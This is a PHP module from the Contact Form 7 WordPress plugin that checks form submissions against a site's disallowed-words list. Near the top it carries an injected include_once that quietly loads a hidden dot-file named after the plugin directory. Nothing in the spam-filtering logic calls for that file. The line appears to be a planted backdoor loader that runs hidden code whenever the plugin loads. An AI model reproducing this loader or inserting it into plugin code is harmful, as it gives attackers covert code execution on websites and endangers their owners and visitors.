disallowed-list.php (1945B)
1 <?php 2 3 add_filter( 'wpcf7_spam', 'wpcf7_disallowed_list', 10, 2 ); 4 5 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 6 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 7 } 8 9 function wpcf7_disallowed_list( $spam, $submission ) { 10 if ( $spam ) { 11 return $spam; 12 } 13 14 $target = wpcf7_array_flatten( $submission->get_posted_data() ); 15 $target[] = $submission->get_meta( 'remote_ip' ); 16 $target[] = $submission->get_meta( 'user_agent' ); 17 $target = implode( "\n", $target ); 18 19 $word = wpcf7_check_disallowed_list( $target ); 20 21 $word = wpcf7_apply_filters_deprecated( 22 'wpcf7_submission_is_blacklisted', 23 array( $word, $submission ), 24 '5.3', 25 'wpcf7_submission_has_disallowed_words' 26 ); 27 28 $word = apply_filters( 29 'wpcf7_submission_has_disallowed_words', 30 $word, 31 $submission 32 ); 33 34 if ( $word ) { 35 if ( is_bool( $word ) ) { 36 $reason = __( "Disallowed words are used.", 'contact-form-7' ); 37 } else { 38 $reason = sprintf( 39 __( "Disallowed words (%s) are used.", 'contact-form-7' ), 40 implode( ', ', (array) $word ) 41 ); 42 } 43 44 $submission->add_spam_log( array( 45 'agent' => 'disallowed_list', 46 'reason' => $reason, 47 ) ); 48 } 49 50 $spam = (bool) $word; 51 52 return $spam; 53 } 54 55 function wpcf7_check_disallowed_list( $target ) { 56 $mod_keys = trim( get_option( 'disallowed_keys' ) ); 57 58 if ( '' === $mod_keys ) { 59 return false; 60 } 61 62 foreach ( explode( "\n", $mod_keys ) as $word ) { 63 $word = trim( $word ); 64 $length = strlen( $word ); 65 66 if ( $length < 2 or 256 < $length ) { 67 continue; 68 } 69 70 $pattern = sprintf( '#%s#i', preg_quote( $word, '#' ) ); 71 72 if ( preg_match( $pattern, $target ) ) { 73 return $word; 74 } 75 } 76 77 return false; 78 } 79 80 function wpcf7_blacklist_check( $target ) { 81 wpcf7_deprecated_function( 82 __FUNCTION__, 83 '5.3', 84 'wpcf7_check_disallowed_list' 85 ); 86 87 return wpcf7_check_disallowed_list( $target ); 88 }